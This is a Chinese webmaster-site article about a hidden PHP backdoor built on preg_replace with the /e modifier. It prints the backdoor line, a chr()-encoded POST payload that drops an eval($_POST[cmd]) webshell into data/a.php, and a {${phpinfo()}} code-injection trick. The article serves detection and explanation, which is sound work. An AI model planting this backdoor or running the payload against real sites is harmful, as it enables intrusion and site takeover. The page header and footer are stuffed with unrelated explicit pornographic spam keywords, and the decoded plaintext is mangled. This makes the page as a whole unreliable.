青草久久影院-青草久久伊人-青草久久久-青草久久精品亚洲综合专区-SM双性精跪趴灌憋尿调教H-SM脚奴调教丨踩踏贱奴

17站長網

17站長網 首頁 安全 腳本攻防 查看內容

記一次發現利用preg_replace隱藏后門和后續探究

2022-9-27 08:54| 查看: 2190 |來源: 互聯網

事情是這樣的,朋友的網站的利用各種查找后門的工具都沒有發現php木馬。老是找不到,小黑的伎倆很高級,每次使用完畢總是把后門刪掉,但是每次都能繼續進來,總是找不到從哪進來的。這個著實讓人蛋疼。 后來,

事情是這樣的,朋友的網站的利用各種查找后門的工具都沒有發現php木馬。老是找不到,小黑的伎倆很高級,每次使用完畢總是把后門刪掉,但是每次都能繼續進來,總是找不到從哪進來的。這個著實讓人蛋疼。
 
后來,終于在日志中發現一絲蛛絲馬跡,通過我的分析,我發現一個IP總是很奇怪的POST數據到某個文件。然后一段時間后,此IP就訪問一個莫名奇妙文件,名字很顯眼明顯不是正常系統文件,而是PHP后門。但是很快使用完畢后門就被刪除了。
 
哈哈,遇到小黑蠻細心的。
 
然后通過分析發現,小黑的訪問的文件發現代碼:
 
@preg_replace(“//e”,$_POST['IN_COMSENZ'],”Access Denied”);
 
如果你看到這個代碼是不是有的也沒什么問題,但是,這個就是小黑的掩藏的惡意代碼和后門。隱蔽吧,基本上任何查殺軟件都查殺不到。
 
preg_replace函數原型:
 
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
 
特別說明:
 
/e 修正符使 preg_replace() 將 replacement 參數當作 PHP 代碼(在適當的逆向引用替換完之后)。提示:要確保 replacement 構成一個合法的 PHP 代碼字符串,否則 PHP 會在報告在包含 preg_replace() 的行中出現語法解析錯誤。
 
上面的代碼是POST接受數據要測試,比較麻煩,如果換成GET獲取數據的話。。。
 
舉例:
 
 echo preg_replace(“/test/e”,$_GET["h"],”jutst test”);
 
如果我們提交?h=phpinfo(),phpinfo()將會被執行(使用/e修飾符,preg_replace會將 replacement 參數當作 PHP 代碼執行)。
 
如果我們要POST的話,我們測試提交下面的代碼會怎么樣呢?
 
h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
 
密文對應的明文是:
 
fputs(fopen(data/a.php,w),);
 
執行的結果是在/data/目錄下生成一個一句話木馬文件 a.php。
 
這個就恐怖了吧。。。。
 
再來一個有難度的例子:
 
 代碼如下:
function test($str)
{
}
echo preg_replace(“/s*[php](.+?)[/php]s*/ies”, ‘test(“\1″)’, $_GET["h"]);
?>

提交 ?h=phpinfo() ,phpinfo()會被執行嗎?
 
肯定不會。因為經過正則匹配后, replacement 參數變為’test(“phpinfo”)’,此時phpinfo僅是被當做一個字符串參數了。
 
有沒有辦法讓它執行呢?
 
當然有。在這里我們如果提交?h={${phpinfo()}},phpinfo()就會被執行。為什么呢?
 
在php中,雙引號里面如果包含有變量,php解釋器會將其替換為變量解釋后的結果;單引號中的變量不會被處理。
 
注意:雙引號中的函數不會被執行和替換。
 
在這里我們需要通過{${}}構造出了一個特殊的變量,’test(“{${phpinfo()}}”)’,達到讓函數被執行的效果(${phpinfo()}會被解釋執行)。
 
可以先做如下測試:
 
echo “{${phpinfo()}}”; phpinfo會被成功執行了。
 
所以,各位查找后門的時候注意查找下。
 
OK,說了那么多,也了解了,以上我給的代碼:
 
 @preg_replace(“//e”,$_POST['IN_COMSENZ'],”Access Denied”);
 
看似很正常的代碼,其實就是一個極度危險的代碼,隱藏頗深啊。哈哈。希望對大家有幫助
 
作者:合肥制造

本文最后更新于 2022-9-27 08:54,某些文章具有時效性,若有錯誤或已失效,請在網站留言或聯系站長:17tui@17tui.com
·END·
站長網微信號:w17tui,關注站長、創業、關注互聯網人 - 互聯網創業者營銷服務中心

免責聲明:本站部分文章和圖片均來自用戶投稿和網絡收集,旨在傳播知識,文章和圖片版權歸原作者及原出處所有,僅供學習與參考,請勿用于商業用途,如果損害了您的權利,請聯系我們及時修正或刪除。謝謝!

17站長網微信二維碼

始終以前瞻性的眼光聚焦站長、創業、互聯網等領域,為您提供最新最全的互聯網資訊,幫助站長轉型升級,為互聯網創業者提供更加優質的創業信息和品牌營銷服務,與站長一起進步!讓互聯網創業者不再孤獨!

掃一掃,關注站長網微信

大家都在看

    熱門排行

      最近更新

        返回頂部
        主站蜘蛛池模板: 国产精品久久久久影院色 | 中文无码熟妇人妻AV在线 | 国产午夜精品久久久久婷婷 | 影音先锋男人av橹橹色 | 伊人伊人伊人 | 欧美激情视频二区 | 国产精品一国产AV麻豆 | 亚洲女人网 | ai换脸女明星被躁在线观看免费 | 青青草原成人 | a久久99精品久久久久久蜜芽 | 一起洗澡的老师免费播放 | 99爱在线观看精品视频 | 久久精品观看影院2828 | 丰满的寡妇hd高清在线观看 | 大胸美女被C得嗷嗷叫动态图 | 熟妇少妇任你躁在线无码 | 攵女yin乱合集高h | 天天看片视频免费观看 | 亚洲国产在线99视频 | 久久久精品久久久久特色影视 | 99久免费精品视频在线观看2 | 久久天天躁狠狠躁夜夜躁 | 大迪克黑人异族 | 91九色视频在线观看 | 国产原创剧情麻豆在线 | 幻女FREE性俄罗斯学生 | 99热这里有精品 | 沈芯语麻豆0076 视频 | 国产精品资源在线观看网站 | 青青草干免费线观看 | 热热久久这里只有精品 | 被窝国产理论一二三影院 | 扒开女人下面使劲桶视频 | 啦啦啦 中国 日本 高清 在线 | 妹妹的第一次有点紧 | 2019香蕉在线观看直播视频 | 内射少妇36P亚洲区 内射少妇36P九色 | 最近韩国日本免费观看mv免费版 | jk制服喷水 | 风流少妇BBWBBW69视频 |